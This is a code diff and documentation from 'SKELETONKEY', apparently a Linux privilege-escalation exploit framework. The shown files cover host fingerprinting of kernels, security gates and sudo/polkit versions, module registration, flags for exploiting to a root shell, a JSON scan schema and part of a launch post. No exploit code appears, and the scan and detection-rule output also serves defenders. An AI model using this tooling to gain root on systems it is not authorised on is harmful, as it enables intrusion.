static void populate_platform_family(struct skeletonkey_host *h)
|
||||||
|
{
|
||||||
|
#ifdef __linux__
|
||||||
|
h->is_linux = true;
|
||||||
|
#else
|
||||||
|
h->is_linux = false;
|
||||||
|
#endif
|
||||||
|
h->is_debian_family = path_exists("/etc/debian_version");
|
||||||
|
h->is_rpm_family = path_exists("/etc/redhat-release") ||
|
||||||
|
path_exists("/etc/fedora-release") ||
|
||||||
|
path_exists("/etc/rocky-release") ||
|
||||||
|
path_exists("/etc/almalinux-release");
|
||||||
|
h->is_arch_family = path_exists("/etc/arch-release");
|
||||||
|
h->is_suse_family = path_exists("/etc/SuSE-release") ||
|
||||||
|
path_exists("/etc/SUSE-brand");
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
/* fork+unshare(CLONE_NEWUSER) probe. Forks once; ~1ms cost. */
|
||||||
|
static bool userns_probe(void)
|
||||||
|
{
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) return false;
|
||||||
|
if (pid == 0) {
|
||||||
|
_exit(unshare(CLONE_NEWUSER) == 0 ? 0 : 1);
|
||||||
|
}
|
||||||
|
int st;
|
||||||
|
if (waitpid(pid, &st, 0) < 0) return false;
|
||||||
|
return WIFEXITED(st) && WEXITSTATUS(st) == 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static void populate_caps(struct skeletonkey_host *h)
|
||||||
|
{
|
||||||
|
h->unprivileged_userns_allowed = false;
|
||||||
|
h->apparmor_restrict_userns = false;
|
||||||
|
h->unprivileged_bpf_disabled = false;
|
||||||
|
h->kpti_enabled = false;
|
||||||
|
h->kernel_lockdown_active = false;
|
||||||
|
h->selinux_enforcing = false;
|
||||||
|
h->yama_ptrace_restricted = false;
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
h->unprivileged_userns_allowed = userns_probe();
|
||||||
|
|
||||||
|
int v = 0;
|
||||||
|
if (read_int_file("/proc/sys/kernel/apparmor_restrict_unprivileged_userns", &v))
|
||||||
|
h->apparmor_restrict_userns = (v != 0);
|
||||||
|
if (read_int_file("/proc/sys/kernel/unprivileged_bpf_disabled", &v))
|
||||||
|
h->unprivileged_bpf_disabled = (v != 0);
|
||||||
|
if (read_int_file("/sys/fs/selinux/enforce", &v))
|
||||||
|
h->selinux_enforcing = (v != 0);
|
||||||
|
if (read_int_file("/proc/sys/kernel/yama/ptrace_scope", &v))
|
||||||
|
h->yama_ptrace_restricted = (v > 0);
|
||||||
|
|
||||||
|
char buf[256];
|
||||||
|
if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf))
|
||||||
|
h->kpti_enabled = (strstr(buf, "Mitigation: PTI") != NULL);
|
||||||
|
|
||||||
|
/* /sys/kernel/security/lockdown format: "[none] integrity confidentiality"
|
||||||
|
* — whichever level is bracketed is the active one. */
|
||||||
|
if (read_first_line("/sys/kernel/security/lockdown", buf, sizeof buf))
|
||||||
|
h->kernel_lockdown_active = (strstr(buf, "[none]") == NULL);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
static void populate_services(struct skeletonkey_host *h)
|
||||||
|
{
|
||||||
|
h->has_systemd = path_exists("/run/systemd/system");
|
||||||
|
h->has_dbus_system = path_exists("/run/dbus/system_bus_socket");
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Best-effort: run `cmd`, capture first stdout line, strip newline,
|
||||||
|
* copy up to (cap - 1) bytes into dst. Returns true iff popen
|
||||||
|
* succeeded, the command exited 0, and we got at least one line.
|
||||||
|
* Used for sudo/pkexec/packagekitd version parsing at startup. */
|
||||||
|
static bool capture_first_line(const char *cmd, char *dst, size_t cap)
|
||||||
|
{
|
||||||
|
dst[0] = '\0';
|
||||||
|
FILE *p = popen(cmd, "r");
|
||||||
|
if (!p) return false;
|
||||||
|
char buf[256];
|
||||||
|
bool got = (fgets(buf, sizeof buf, p) != NULL);
|
||||||
|
int rc = pclose(p);
|
||||||
|
if (!got || rc != 0) return false;
|
||||||
|
size_t L = strlen(buf);
|
||||||
|
while (L > 0 && (buf[L-1] == '\n' || buf[L-1] == '\r'))
|
||||||
|
buf[--L] = '\0';
|
||||||
|
if (L >= cap) L = cap - 1;
|
||||||
|
memcpy(dst, buf, L);
|
||||||
|
dst[L] = '\0';
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Extract the version-string token from a line of the form
|
||||||
|
* "<prefix>: <version> [rest]" or "<prefix> <version> [rest]". The
|
||||||
|
* version token is everything from the first non-space after
|
||||||
|
* `prefix` up to the next whitespace. Empty result when prefix not
|
||||||
|
* found. */
|
||||||
|
static void extract_version_after_prefix(const char *line,
|
||||||
|
const char *prefix,
|
||||||
|
char *dst, size_t cap)
|
||||||
|
{
|
||||||
|
dst[0] = '\0';
|
||||||
|
const char *p = strstr(line, prefix);
|
||||||
|
if (!p) return;
|
||||||
|
p += strlen(prefix);
|
||||||
|
while (*p == ' ' || *p == ':' || *p == '\t') p++;
|
||||||
|
size_t i = 0;
|
||||||
|
while (*p && *p != ' ' && *p != '\t' && i + 1 < cap)
|
||||||
|
dst[i++] = *p++;
|
||||||
|
dst[i] = '\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
static void populate_userspace_versions(struct skeletonkey_host *h)
|
||||||
|
{
|
||||||
|
h->sudo_version[0] = '\0';
|
||||||
|
h->polkit_version[0] = '\0';
|
||||||
|
|
||||||
|
char line[256];
|
||||||
|
if (capture_first_line("sudo -V 2>/dev/null", line, sizeof line))
|
||||||
|
extract_version_after_prefix(line, "Sudo version",
|
||||||
|
h->sudo_version, sizeof h->sudo_version);
|
||||||
|
|
||||||
|
if (capture_first_line("pkexec --version 2>/dev/null", line, sizeof line))
|
||||||
|
extract_version_after_prefix(line, "pkexec version",
|
||||||
|
h->polkit_version, sizeof h->polkit_version);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── public entrypoints ───────────────────────────────────────────── */
|
||||||
|
|
||||||
|
const struct skeletonkey_host *skeletonkey_host_get(void)
|
||||||
|
{
|
||||||
|
if (g_host_ready) return &g_host;
|
||||||
|
|
||||||
|
memset(&g_host, 0, sizeof g_host);
|
||||||
|
populate_kernel(&g_host);
|
||||||
|
populate_distro(&g_host);
|
||||||
|
populate_user(&g_host);
|
||||||
|
populate_platform_family(&g_host);
|
||||||
|
populate_caps(&g_host);
|
||||||
|
populate_services(&g_host);
|
||||||
|
populate_userspace_versions(&g_host);
|
||||||
|
g_host.probe_source = "skeletonkey core/host.c";
|
||||||
|
g_host_ready = true;
|
||||||
|
return &g_host;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
|
||||||
|
int major, int minor, int patch)
|
||||||
|
{
|
||||||
|
if (!h || h->kernel.major == 0)
|
||||||
|
return false;
|
||||||
|
if (h->kernel.major != major) return h->kernel.major > major;
|
||||||
|
if (h->kernel.minor != minor) return h->kernel.minor > minor;
|
||||||
|
return h->kernel.patch >= patch;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
|
||||||
|
int lo_M, int lo_m, int lo_p,
|
||||||
|
int hi_M, int hi_m, int hi_p)
|
||||||
|
{
|
||||||
|
return skeletonkey_host_kernel_at_least(h, lo_M, lo_m, lo_p) &&
|
||||||
|
!skeletonkey_host_kernel_at_least(h, hi_M, hi_m, hi_p);
|
||||||
|
}
|
||||||
|
|
||||||
|
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json)
|
||||||
|
{
|
||||||
|
if (json || h == NULL) return;
|
||||||
|
fprintf(stderr, "[*] host: %s%s%s kernel=%s arch=%s distro=%s/%s\n",
|
||||||
|
h->nodename[0] ? h->nodename : "?",
|
||||||
|
h->is_root ? " (ROOT)" : "",
|
||||||
|
h->is_ssh_session ? " (SSH)" : "",
|
||||||
|
h->kernel.release ? h->kernel.release : "?",
|
||||||
|
h->arch[0] ? h->arch : "?",
|
||||||
|
h->distro_id[0] ? h->distro_id : "?",
|
||||||
|
h->distro_version_id[0] ? h->distro_version_id : "?");
|
||||||
|
fprintf(stderr, "[*] gates: userns=%s aa_restrict=%s bpf_disabled=%s "
|
||||||
|
"kpti=%s lockdown=%s selinux=%s yama_ptrace=%s\n",
|
||||||
|
h->unprivileged_userns_allowed ? "yes" : "no",
|
||||||
|
h->apparmor_restrict_userns ? "on" : "off",
|
||||||
|
h->unprivileged_bpf_disabled ? "yes" : "no",
|
||||||
|
h->kpti_enabled ? "on" : "off",
|
||||||
|
h->kernel_lockdown_active ? "on" : "off",
|
||||||
|
h->selinux_enforcing ? "on" : "off",
|
||||||
|
h->yama_ptrace_restricted ? "yes" : "no");
|
||||||
|
if (h->sudo_version[0] || h->polkit_version[0])
|
||||||
|
fprintf(stderr, "[*] userspace: sudo=%s polkit=%s\n",
|
||||||
|
h->sudo_version[0] ? h->sudo_version : "-",
|
||||||
|
h->polkit_version[0] ? h->polkit_version : "-");
|
||||||
|
}
|
||||||
+137
@@ -0,0 +1,137 @@
|
|||||||
|
/*
|
||||||
|
* SKELETONKEY — host fingerprint
|
||||||
|
*
|
||||||
|
* Populated once at startup, before any module's detect() runs. Every
|
||||||
|
* module receives a stable pointer via skeletonkey_ctx.host and can
|
||||||
|
* consult it without re-parsing /proc, /etc/os-release, uname(2), or
|
||||||
|
* forking another userns probe.
|
||||||
|
*
|
||||||
|
* The struct is deliberately POD (no heap pointers, fixed-size
|
||||||
|
* arrays) so lifetime reasoning is trivial. A single static instance
|
||||||
|
* lives in core/host.c; skeletonkey_host_get() returns the same
|
||||||
|
* pointer on every call. The first call probes; subsequent calls
|
||||||
|
* are O(1) lookups.
|
||||||
|
*
|
||||||
|
* Fields that don't apply on a given platform (e.g. AppArmor sysctls
|
||||||
|
* on a non-Linux dev build, KPTI on aarch64) stay at their false /
|
||||||
|
* "?" defaults. Probing is best-effort: a missing sysctl never fails
|
||||||
|
* the call, just leaves the corresponding bool false.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef SKELETONKEY_HOST_H
|
||||||
|
#define SKELETONKEY_HOST_H
|
||||||
|
|
||||||
|
#include "kernel_range.h"
|
||||||
|
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
|
||||||
|
struct skeletonkey_host {
|
||||||
|
/* ── identity ─────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
struct kernel_version kernel; /* uname.release parsed */
|
||||||
|
char arch[32]; /* uname.machine ("x86_64", "aarch64") */
|
||||||
|
char nodename[64]; /* uname.nodename (for log lines) */
|
||||||
|
|
||||||
|
char distro_id[64]; /* /etc/os-release ID ("ubuntu", "debian", "fedora", "?") */
|
||||||
|
char distro_version_id[64]; /* /etc/os-release VERSION_ID ("24.04", "13", "?") */
|
||||||
|
char distro_pretty[128]; /* /etc/os-release PRETTY_NAME for log lines */
|
||||||
|
|
||||||
|
/* ── process state ─────────────────────────────────────────── */
|
||||||
|
|
||||||
|
uid_t euid; /* geteuid() */
|
||||||
|
uid_t real_uid; /* outer uid (defeats userns illusion via /proc/self/uid_map) */
|
||||||
|
gid_t egid; /* getegid() */
|
||||||
|
char username[64]; /* getpwuid(euid)->pw_name or "" */
|
||||||
|
bool is_root; /* euid == 0 */
|
||||||
|
bool is_ssh_session; /* SSH_CONNECTION env var set */
|
||||||
|
|
||||||
|
/* ── platform family ───────────────────────────────────────── */
|
||||||
|
|
||||||
|
bool is_linux; /* compiled / running on Linux */
|
||||||
|
bool is_debian_family; /* /etc/debian_version exists */
|
||||||
|
bool is_rpm_family; /* redhat / fedora / rocky / almalinux release file */
|
||||||
|
bool is_arch_family; /* /etc/arch-release */
|
||||||
|
bool is_suse_family; /* /etc/SuSE-release or /etc/SUSE-brand */
|
||||||
|
|
||||||
|
/* ── capability / gate flags (Linux) ──────────────────────── */
|
||||||
|
|
||||||
|
bool unprivileged_userns_allowed; /* fork+unshare(CLONE_NEWUSER) succeeded */
|
||||||
|
bool apparmor_restrict_userns; /* sysctl: 1 = AA blocks unpriv userns */
|
||||||
|
bool unprivileged_bpf_disabled; /* /proc/sys/kernel/unprivileged_bpf_disabled = 1 */
|
||||||
|
bool kpti_enabled; /* /sys/.../meltdown contains "Mitigation: PTI" */
|
||||||
|
bool kernel_lockdown_active; /* /sys/kernel/security/lockdown != [none] */
|
||||||
|
bool selinux_enforcing; /* /sys/fs/selinux/enforce = 1 */
|
||||||
|
bool yama_ptrace_restricted; /* /proc/sys/kernel/yama/ptrace_scope > 0 */
|
||||||
|
|
||||||
|
/* ── system services ──────────────────────────────────────── */
|
||||||
|
|
||||||
|
bool has_systemd; /* /run/systemd/system exists */
|
||||||
|
bool has_dbus_system; /* /run/dbus/system_bus_socket exists */
|
||||||
|
|
||||||
|
/* ── userspace component versions ─────────────────────────
|
||||||
|
* Parsed once at startup via popen() of the relevant binary's
|
||||||
|
* --version output. Empty string ("") means "tool not installed
|
||||||
|
* or version parse failed" — modules should treat that as
|
||||||
|
* PRECOND_FAIL (no exploit target). The exact format mirrors
|
||||||
|
* what the tool prints (`Sudo version 1.9.5p2`, `pkexec version
|
||||||
|
* 0.105`, …); modules do their own range parsing. */
|
||||||
|
char sudo_version[64]; /* "1.9.13p1" or "" */
|
||||||
|
char polkit_version[64]; /* "0.105" or "126" or "" */
|
||||||
|
|
||||||
|
/* Informational: the SKELETONKEY component that populated this
|
||||||
|
* snapshot (for log/JSON output). */
|
||||||
|
const char *probe_source;
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Get the host fingerprint. Returns a stable, non-null pointer that
|
||||||
|
* lives for the process lifetime. Probes happen lazily on the first
|
||||||
|
* call (~50ms; dominated by the userns fork-probe), are cached, and
|
||||||
|
* subsequent calls are free.
|
||||||
|
*
|
||||||
|
* Probing is best-effort: missing files / unsupported sysctls leave
|
||||||
|
* the corresponding bool false. The function does not fail. */
|
||||||
|
const struct skeletonkey_host *skeletonkey_host_get(void);
|
||||||
|
|
||||||
|
/* Print a two-line "host fingerprint" banner to stderr suitable for
|
||||||
|
* --auto / --scan verbose output. Silent on JSON mode. */
|
||||||
|
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json);
|
||||||
|
|
||||||
|
/* True iff h->kernel >= the (major, minor, patch) provided. Returns
|
||||||
|
* false if h is NULL or its kernel version was never populated (major
|
||||||
|
* == 0). Replaces the manual `v->major < X` / `(v->major == X &&
|
||||||
|
* v->minor < Y)` patterns scattered across detect()s — cleaner reads
|
||||||
|
* and one place to get the comparison right.
|
||||||
|
*
|
||||||
|
* Examples:
|
||||||
|
* if (!host_kernel_at_least(h, 7, 0, 0)) // kernel predates 7.0
|
||||||
|
* return SKELETONKEY_OK;
|
||||||
|
* if ( host_kernel_at_least(h, 6, 8, 0)) // kernel post-fix
|
||||||
|
* return SKELETONKEY_OK;
|
||||||
|
*/
|
||||||
|
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
|
||||||
|
int major, int minor, int patch);
|
||||||
|
|
||||||
|
/* True iff h->kernel is in [lo, hi). Useful for "vulnerable range"
|
||||||
|
* gates where the simple `kernel_range_is_patched` backport model
|
||||||
|
* doesn't apply — e.g. a feature added in X.Y and removed/superseded
|
||||||
|
* in W.Z, or a per-module "vulnerable only on these specific kernel
|
||||||
|
* lines" check.
|
||||||
|
*
|
||||||
|
* Equivalent to:
|
||||||
|
* host_kernel_at_least(h, lo...) && !host_kernel_at_least(h, hi...)
|
||||||
|
*
|
||||||
|
* For "predates the bug" alone use host_kernel_at_least directly; the
|
||||||
|
* `in_range` form is for the bounded interval case.
|
||||||
|
*
|
||||||
|
* Example:
|
||||||
|
* if (host_kernel_in_range(h, 5, 8, 0, 5, 17, 0))
|
||||||
|
* // kernel 5.8 ≤ K < 5.17 — vulnerable window per the mainline
|
||||||
|
* // introduction/fix dates (ignoring stable backports)
|
||||||
|
*/
|
||||||
|
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
|
||||||
|
int lo_major, int lo_minor, int lo_patch,
|
||||||
|
int hi_major, int hi_minor, int hi_patch);
|
||||||
|
|
||||||
|
#endif /* SKELETONKEY_HOST_H */
|
||||||
+13
-3
@@ -40,9 +40,12 @@ typedef enum {
|
|||||||
SKELETONKEY_EXPLOIT_OK = 5,
|
SKELETONKEY_EXPLOIT_OK = 5,
|
||||||
} skeletonkey_result_t;
|
} skeletonkey_result_t;
|
||||||
|
|
||||||
/* Per-invocation context passed to module callbacks. Lightweight for
|
/* Per-invocation context passed to module callbacks. The host
|
||||||
* now; will grow as modules need shared state (host fingerprint,
|
* fingerprint (kernel / distro / capability gates / service presence)
|
||||||
* leaked kbase, etc.). */
|
* is populated once at startup by core/host.c and handed to every
|
||||||
|
* module callback here — see core/host.h. */
|
||||||
|
struct skeletonkey_host; /* forward decl; full def in core/host.h */
|
||||||
|
|
||||||
struct skeletonkey_ctx {
|
struct skeletonkey_ctx {
|
||||||
bool no_color; /* --no-color */
|
bool no_color; /* --no-color */
|
||||||
bool json; /* --json (machine-readable output) */
|
bool json; /* --json (machine-readable output) */
|
||||||
@@ -50,6 +53,13 @@ struct skeletonkey_ctx {
|
|||||||
bool no_shell; /* --no-shell (exploit prep but don't pop) */
|
bool no_shell; /* --no-shell (exploit prep but don't pop) */
|
||||||
bool authorized; /* user typed --i-know on exploit */
|
bool authorized; /* user typed --i-know on exploit */
|
||||||
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
|
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
|
||||||
|
bool dry_run; /* --dry-run (preview only; never call exploit/mitigate/cleanup) */
|
||||||
|
|
||||||
|
/* Host fingerprint — see core/host.h. Stable pointer, populated
|
||||||
|
* once by main() before any module callback runs. Modules that
|
||||||
|
* want to consult it #include "../../core/host.h". May be NULL
|
||||||
|
* only in degenerate test contexts; main() always sets it. */
|
||||||
|
const struct skeletonkey_host *host;
|
||||||
};
|
};
|
||||||
|
|
||||||
struct skeletonkey_module {
|
struct skeletonkey_module {
|
||||||
|
|||||||
@@ -44,5 +44,8 @@ void skeletonkey_register_sudo_samedit(void);
|
|||||||
void skeletonkey_register_sequoia(void);
|
void skeletonkey_register_sequoia(void);
|
||||||
void skeletonkey_register_sudoedit_editor(void);
|
void skeletonkey_register_sudoedit_editor(void);
|
||||||
void skeletonkey_register_vmwgfx(void);
|
void skeletonkey_register_vmwgfx(void);
|
||||||
|
void skeletonkey_register_dirtydecrypt(void);
|
||||||
|
void skeletonkey_register_fragnesia(void);
|
||||||
|
void skeletonkey_register_pack2theroot(void);
|
||||||
|
|
||||||
#endif /* SKELETONKEY_REGISTRY_H */
|
#endif /* SKELETONKEY_REGISTRY_H */
|
||||||
|
|||||||
+43
-1
@@ -82,7 +82,11 @@ Code that more than one module needs lives in `core/`:
|
|||||||
|
|
||||||
1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
|
1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
|
||||||
`--detect-rules`, `--cleanup`, etc.)
|
`--detect-rules`, `--cleanup`, etc.)
|
||||||
2. Fingerprint the host
|
2. **Fingerprint the host** — `core/host.c` is called once at startup
|
||||||
|
to populate `struct skeletonkey_host` (kernel version + arch +
|
||||||
|
distro + capability gates + service presence). The result is
|
||||||
|
handed to every module via `ctx->host`. See "Host fingerprint"
|
||||||
|
below.
|
||||||
3. For `--scan`: iterate module registry, call each module's
|
3. For `--scan`: iterate module registry, call each module's
|
||||||
`detect()`, emit table of results
|
`detect()`, emit table of results
|
||||||
4. For `--exploit <name>`: locate module, gate behind `--i-know`,
|
4. For `--exploit <name>`: locate module, gate behind `--i-know`,
|
||||||
@@ -90,6 +94,44 @@ Code that more than one module needs lives in `core/`:
|
|||||||
5. For `--detect-rules`: walk module registry, concatenate detection
|
5. For `--detect-rules`: walk module registry, concatenate detection
|
||||||
files in the requested format
|
files in the requested format
|
||||||
|
|
||||||
|
## Host fingerprint (`core/host.{h,c}`)
|
||||||
|
|
||||||
|
A single `struct skeletonkey_host` is populated once at startup and
|
||||||
|
exposed to every module via `ctx->host` (a stable pointer for the
|
||||||
|
process lifetime). It carries:
|
||||||
|
|
||||||
|
- **Identity:** `struct kernel_version kernel` + arch + nodename +
|
||||||
|
distro id/version/pretty (parsed from `/etc/os-release`).
|
||||||
|
- **Process state:** euid, real_uid (defeats the userns illusion by
|
||||||
|
reading `/proc/self/uid_map`), egid, username, is_root,
|
||||||
|
is_ssh_session.
|
||||||
|
- **Platform family:** is_linux, is_debian_family, is_rpm_family,
|
||||||
|
is_arch_family, is_suse_family.
|
||||||
|
- **Capability gates (Linux):** unprivileged_userns_allowed (live
|
||||||
|
fork-probe), apparmor_restrict_userns, unprivileged_bpf_disabled,
|
||||||
|
kpti_enabled, kernel_lockdown_active, selinux_enforcing,
|
||||||
|
yama_ptrace_restricted.
|
||||||
|
- **System services:** has_systemd, has_dbus_system.
|
||||||
|
|
||||||
|
Modules that want to consult the fingerprint do:
|
||||||
|
|
||||||
|
```c
|
||||||
|
#include "../../core/host.h"
|
||||||
|
/* ... */
|
||||||
|
if (ctx->host && !ctx->host->unprivileged_userns_allowed)
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
if (ctx->host->kernel.major < 7)
|
||||||
|
return SKELETONKEY_OK; /* predates the bug */
|
||||||
|
```
|
||||||
|
|
||||||
|
The migration is opt-in per module — modules that don't `#include`
|
||||||
|
host.h continue to do their own probes; modules that do save the
|
||||||
|
duplicate work and get a consistent view across the whole scan.
|
||||||
|
|
||||||
|
`--auto` and `--scan` (in verbose mode) print a two-line banner of
|
||||||
|
the fingerprint via `skeletonkey_host_print_banner()` so operators
|
||||||
|
can see at a glance which gates are open.
|
||||||
|
|
||||||
## CI matrix
|
## CI matrix
|
||||||
|
|
||||||
`.github/workflows/ci.yml` (planned, Phase 4) runs each module's
|
`.github/workflows/ci.yml` (planned, Phase 4) runs each module's
|
||||||
|
|||||||
@@ -0,0 +1,139 @@
|
|||||||
|
# SKELETONKEY JSON output schema
|
||||||
|
|
||||||
|
`skeletonkey --scan --json` (and `--auto --json`, planned) emit a
|
||||||
|
single JSON object on **stdout**. All human-readable banner lines and
|
||||||
|
per-module log chatter go to **stderr** in JSON mode — pipes to SIEMs
|
||||||
|
and fleet aggregators get a clean machine-parseable document on
|
||||||
|
stdout while operators still see diagnostics on stderr.
|
||||||
|
|
||||||
|
This document is the contract for that JSON. SKELETONKEY treats it
|
||||||
|
as a stability commitment: new fields may appear in future releases,
|
||||||
|
but existing field names and value types do not change without a
|
||||||
|
major-version bump.
|
||||||
|
|
||||||
|
## Top-level object
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"version": "0.6.0",
|
||||||
|
"modules": [ /* ... per-module entries ... */ ]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
| Field | Type | Stability | Meaning |
|
||||||
|
|------------|----------|------------|---------|
|
||||||
|
| `version` | string | stable | The SKELETONKEY release that produced this document. Semver-ish (`MAJOR.MINOR.PATCH`). Consumers may use it to correlate with the corpus inventory in [`CVES.md`](../CVES.md). |
|
||||||
|
| `modules` | array | stable | One entry per registered module, emitted in the order the dispatcher's `--list` reports them. Length grows monotonically as new modules land. |
|
||||||
|
|
||||||
|
## Per-module entry
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"name": "dirty_pipe",
|
||||||
|
"cve": "CVE-2022-0847",
|
||||||
|
"result": "OK"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
| Field | Type | Stability | Meaning |
|
||||||
|
|----------|--------|-----------|---------|
|
||||||
|
| `name` | string | stable | The module's CLI identifier — what you pass to `--exploit <name>`. Lowercase, ASCII, `_`-delimited. Never changes for a given module across releases. |
|
||||||
|
| `cve` | string | stable | The CVE identifier (`CVE-YYYY-NNNNN`), or `"VARIANT"` for sibling variants without their own CVE (e.g. `copy_fail_gcm`), or `"-"` for primitives like `entrybleed` that have a CVE-less role. |
|
||||||
|
| `result` | string | stable | One of the `result` enum values below. |
|
||||||
|
|
||||||
|
## `result` enum
|
||||||
|
|
||||||
|
| Value | Exit code | Meaning |
|
||||||
|
|----------------|-----------|---------|
|
||||||
|
| `OK` | 0 | Module's `detect()` ran successfully. Host is **patched** for this CVE, or the bug class is not applicable here (predates the introduction, wrong arch, etc.). Safe to ignore for this host. |
|
||||||
|
| `TEST_ERROR` | 1 | `detect()` could not decide — the host fingerprint is missing data, the version parser failed, or an internal probe errored. Treat as "no information; check manually." |
|
||||||
|
| `VULNERABLE` | 2 | Host is **vulnerable** to this CVE per the module's detect logic (version-based and/or empirical active probe). `--exploit <name> --i-know` will attempt to land root. |
|
||||||
|
| `EXPLOIT_FAIL` | 3 | Only ever returned by `--exploit`, never by `--scan`. Exploit was attempted but did not land root. Diagnostic context goes to stderr. |
|
||||||
|
| `PRECOND_FAIL` | 4 | A documented precondition is not met on this host — examples: unprivileged user namespaces disabled, AppArmor restriction on, sudo not installed, AF_RXRPC unavailable. The bug may exist on the kernel but the carrier path here is closed. |
|
||||||
|
| `EXPLOIT_OK` | 5 | Only ever returned by `--exploit` / `--auto`. Root was achieved; for `--auto` mode this is the process exit code that drove the dispatcher into a root shell. |
|
||||||
|
|
||||||
|
## Process exit code semantics for `--scan`
|
||||||
|
|
||||||
|
The process exit code is the **worst (highest) result code** observed
|
||||||
|
across all modules. This lets a SIEM treat the binary's exit code as
|
||||||
|
a single-host alert level without re-parsing JSON:
|
||||||
|
|
||||||
|
| Exit code | Interpretation |
|
||||||
|
|-----------|-----------------------------------------------------|
|
||||||
|
| 0 | All modules `OK`. Host is patched for the corpus. |
|
||||||
|
| 1 | At least one module returned `TEST_ERROR`. Investigate. |
|
||||||
|
| 2 | At least one module returned `VULNERABLE`. Patch the host. |
|
||||||
|
| 4 | At least one module returned `PRECOND_FAIL` (and none worse). Host has reduced attack surface but is not necessarily safe. |
|
||||||
|
|
||||||
|
(Process exit codes 3 and 5 are exclusive to the `--exploit` /
|
||||||
|
`--auto` modes and never appear in `--scan` output.)
|
||||||
|
|
||||||
|
## Example: invoking + parsing
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# capture pure JSON
|
||||||
|
skeletonkey --scan --json --no-color > host-$(hostname).json 2> /dev/null
|
||||||
|
|
||||||
|
# any vulnerable modules?
|
||||||
|
jq -e '.modules[] | select(.result == "VULNERABLE") | .name' host-*.json
|
||||||
|
|
||||||
|
# fleet roll-up — modules vulnerable across the fleet, by frequency
|
||||||
|
jq -s 'map(.modules[] | select(.result == "VULNERABLE") | .name)
|
||||||
|
| flatten | group_by(.) | map({mod: .[0], count: length})
|
||||||
|
| sort_by(-.count)' host-*.json
|
||||||
|
```
|
||||||
|
|
||||||
|
`jq -e` exits non-zero when its selector matches nothing, giving the
|
||||||
|
fleet runner a per-host "any-vulnerable" boolean without parsing the
|
||||||
|
document.
|
||||||
|
|
||||||
|
## Stability promises
|
||||||
|
|
||||||
|
**Stable across non-major releases:**
|
||||||
|
|
||||||
|
- Field names listed in the tables above (`version`, `modules`, `name`,
|
||||||
|
`cve`, `result`).
|
||||||
|
- The `result` enum string set. New result strings cannot appear
|
||||||
|
without a major version bump.
|
||||||
|
- The `modules` array containing exactly one entry per registered
|
||||||
|
module.
|
||||||
|
- Exit-code semantics for `--scan`.
|
||||||
|
|
||||||
|
**May change without notice:**
|
||||||
|
|
||||||
|
- The `modules` array length, ordering, and contents (new modules are
|
||||||
|
added regularly; ordering follows registration order which is
|
||||||
|
stable per release but not a contract).
|
||||||
|
- Whitespace / formatting of the JSON itself (consumers MUST parse,
|
||||||
|
not regex).
|
||||||
|
- Field values for `cve` (a stub variant could gain a real CVE later).
|
||||||
|
|
||||||
|
**May be added in future minor versions:**
|
||||||
|
|
||||||
|
- New per-module fields (e.g. `family`, `summary`, `safety_rank`,
|
||||||
|
`kernel_range`). Consumers MUST ignore unknown fields.
|
||||||
|
- New top-level fields (e.g. `host_fingerprint`, `scan_started_at`,
|
||||||
|
`schema_version`). Consumers MUST ignore unknown fields.
|
||||||
|
- A `--scan --active --json` output may grow per-probe verdict
|
||||||
|
metadata under a new `probe` sub-object.
|
||||||
|
|
||||||
|
## Recommended consumer pattern
|
||||||
|
|
||||||
|
```python
|
||||||
|
import json, subprocess, sys
|
||||||
|
|
||||||
|
doc = json.loads(subprocess.check_output(
|
||||||
|
["skeletonkey", "--scan", "--json", "--no-color"],
|
||||||
|
stderr=subprocess.DEVNULL,
|
||||||
|
))
|
||||||
|
|
||||||
|
assert doc["version"], "missing top-level version"
|
||||||
|
for mod in doc["modules"]:
|
||||||
|
assert mod["name"] and mod["cve"] and mod["result"], \
|
||||||
|
f"malformed module entry: {mod!r}"
|
||||||
|
if mod["result"] == "VULNERABLE":
|
||||||
|
print(f"{mod['name']} ({mod['cve']}): VULNERABLE", file=sys.stderr)
|
||||||
|
```
|
||||||
|
|
||||||
|
Ignore unknown fields. Match `result` against the enum, but treat
|
||||||
|
unknown strings as `TEST_ERROR`-equivalent (forward-compat).
|
||||||
+102
@@ -0,0 +1,102 @@
|
|||||||
|
# SKELETONKEY — launch post
|
||||||
|
|
||||||
|
> Copy-pasteable for HN, lobste.rs, mastodon, blog. ~600 words.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## SKELETONKEY: a curated Linux LPE corpus with detection rules baked in
|
||||||
|
|
||||||
|
The Linux privilege-escalation space is fragmented. Single-CVE PoC
|
||||||
|
repos go stale within months. `linux-exploit-suggester` tells you
|
||||||
|
what *might* work but doesn't run anything. `auto-root-exploit` and
|
||||||
|
